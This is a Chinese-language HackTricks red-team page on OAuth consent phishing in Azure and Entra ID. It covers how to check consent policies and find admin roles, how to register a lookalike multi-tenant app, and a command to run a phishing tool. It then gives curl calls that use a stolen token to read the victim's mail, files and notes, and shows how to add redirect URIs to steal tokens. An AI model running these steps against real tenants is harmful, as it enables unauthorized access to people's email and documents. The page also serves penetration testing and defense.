Az - OAuth Apps Phishing

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

OAuth App Phishing

Azure 应用程序 配置了用户同意应用程序时将能够使用的权限(例如枚举目录、访问文件或执行其他操作)。请注意,应用程序将代表用户进行操作,因此即使应用程序可能请求管理权限,如果 同意的用户没有该权限,应用程序 将无法执行管理操作

应用程序同意权限

默认情况下,任何 用户都可以给予应用程序同意,尽管可以配置为用户只能同意 来自经过验证的发布者的特定权限的应用程序,甚至 移除用户同意应用程序的权限

如果用户无法同意,像 GAApplication AdministratorCloud Application Administrator 这样的 管理员 可以 同意用户将能够使用的应用程序

此外,如果用户只能同意使用 低风险 权限的应用程序,这些权限默认是 openidprofileemailUser.Readoffline_access,尽管可以 向此列表添加更多

如果他们可以同意所有应用程序,他们可以同意所有应用程序。

2 种攻击类型

  • 未认证:从外部帐户创建一个具有 低风险权限 User.ReadUser.ReadBasic.All 的应用程序,例如,钓鱼用户,您将能够访问目录信息。
  • 这要求被钓鱼的用户 能够接受来自外部租户的 OAuth 应用程序
  • 如果被钓鱼的用户是可以 同意任何具有任何权限的应用程序 的管理员,则该应用程序也可以 请求特权权限
  • 已认证:在拥有足够权限的主体被攻陷后,在帐户内创建一个应用程序钓鱼 一些 特权 用户,这些用户可以接受特权 OAuth 权限。
  • 在这种情况下,您已经可以访问目录的信息,因此权限 User.ReadBasic.All 不再有趣。
  • 您可能对 需要管理员授予的权限 感兴趣,因为普通用户无法给予 OAuth 应用程序任何权限,这就是为什么您需要 仅钓鱼这些用户(稍后将详细介绍哪些角色/权限授予此特权)

用户被允许同意

请注意,您需要从租户内的用户执行此命令,您无法从外部租户找到此配置。以下 CLI 可以帮助您了解用户权限:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • 用户可以同意所有应用程序:如果在 permissionGrantPoliciesAssigned 中可以找到:ManagePermissionGrantsForSelf.microsoft-user-default-legacy,则用户可以接受每个应用程序。
  • 用户可以同意来自经过验证的发布者或您组织的应用程序,但仅限于您选择的权限:如果在 permissionGrantPoliciesAssigned 中可以找到:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team,则用户可以接受每个应用程序。
  • 禁用用户同意:如果在 permissionGrantPoliciesAssigned 中只能找到:ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chatManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team,则用户无法同意任何应用程序。

可以在以下位置找到每个注释策略的含义:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

应用程序管理员

检查被视为应用程序管理员的用户(可以接受新应用程序):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

攻击流程概述

攻击涉及多个步骤,针对一个通用公司。以下是可能的展开方式:

  1. 域名注册和应用托管:攻击者注册一个类似于可信网站的域名,例如 “safedomainlogin.com”。在该域名下,创建一个子域名(例如 “companyname.safedomainlogin.com”)来托管一个旨在捕获授权代码和请求访问令牌的应用程序。
  2. 在 Azure AD 中注册应用:攻击者随后在其 Azure AD 租户中注册一个多租户应用,命名为目标公司的名称,以显得合法。他们将应用的重定向 URL 配置为指向托管恶意应用的子域名。
  3. 设置权限:攻击者为应用设置各种 API 权限(例如 Mail.ReadNotes.Read.AllFiles.ReadWrite.AllUser.ReadBasic.AllUser.Read)。一旦用户授予这些权限,攻击者就可以代表用户提取敏感信息。
  4. 分发恶意链接:攻击者制作一个包含恶意应用客户端 ID 的链接,并与目标用户分享,诱使他们授予同意。

示例攻击

  1. 注册一个 新应用。如果您使用的是被攻击目录中的用户,则只能针对当前目录;如果这是外部攻击,则可以针对任何目录(如以下图像所示)。
  2. 还要将 重定向 URI 设置为您希望接收代码以获取令牌的预期 URL(默认值为 http://localhost:8000/callback)。
  1. 然后创建一个应用密钥:
  1. 选择 API 权限(例如 Mail.ReadNotes.Read.AllFiles.ReadWrite.AllUser.ReadBasic.AllUser.Read
  1. 执行网页 (azure_oauth_phishing_example),请求权限:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. 将 URL 发送给受害者
  2. 在这种情况下 http://localhost:8000
  3. 受害者 需要 接受提示:
  1. 使用 访问令牌访问请求的权限
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

其他工具

后期利用

钓鱼后期利用

根据请求的权限,您可能能够 访问租户的不同数据(列出用户、组… 或甚至修改设置)和 用户的信息(文件、笔记、电子邮件…)。然后,您可以使用这些权限执行这些操作。

Entra ID 应用程序管理员

如果您以某种方式成功破坏了可以管理 Entra ID 应用程序的 Entra ID 主体,并且有应用程序被租户的用户使用。管理员将能够 修改应用程序请求的权限并添加一个新的允许重定向地址以窃取令牌

  • 请注意,可以 添加重定向 URI(无需删除真实的 URI),然后使用攻击者的重定向 URI 发送 HTTP 链接,因此当用户跟随该链接时,身份验证会自动发生,攻击者会收到令牌。
  • 还可以更改应用程序请求的权限,以便从用户那里获取更多权限,但在这种情况下,用户需要 再次接受提示(即使他已经登录)。
  • 要执行此攻击,攻击者 不需要 控制应用程序代码,因为他可以将带有新 URL 的登录链接发送给用户,URL 在 redirect_uri 参数中。

应用程序后期利用

查看页面的应用程序和服务主体部分:

Az - EntraID Privesc

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks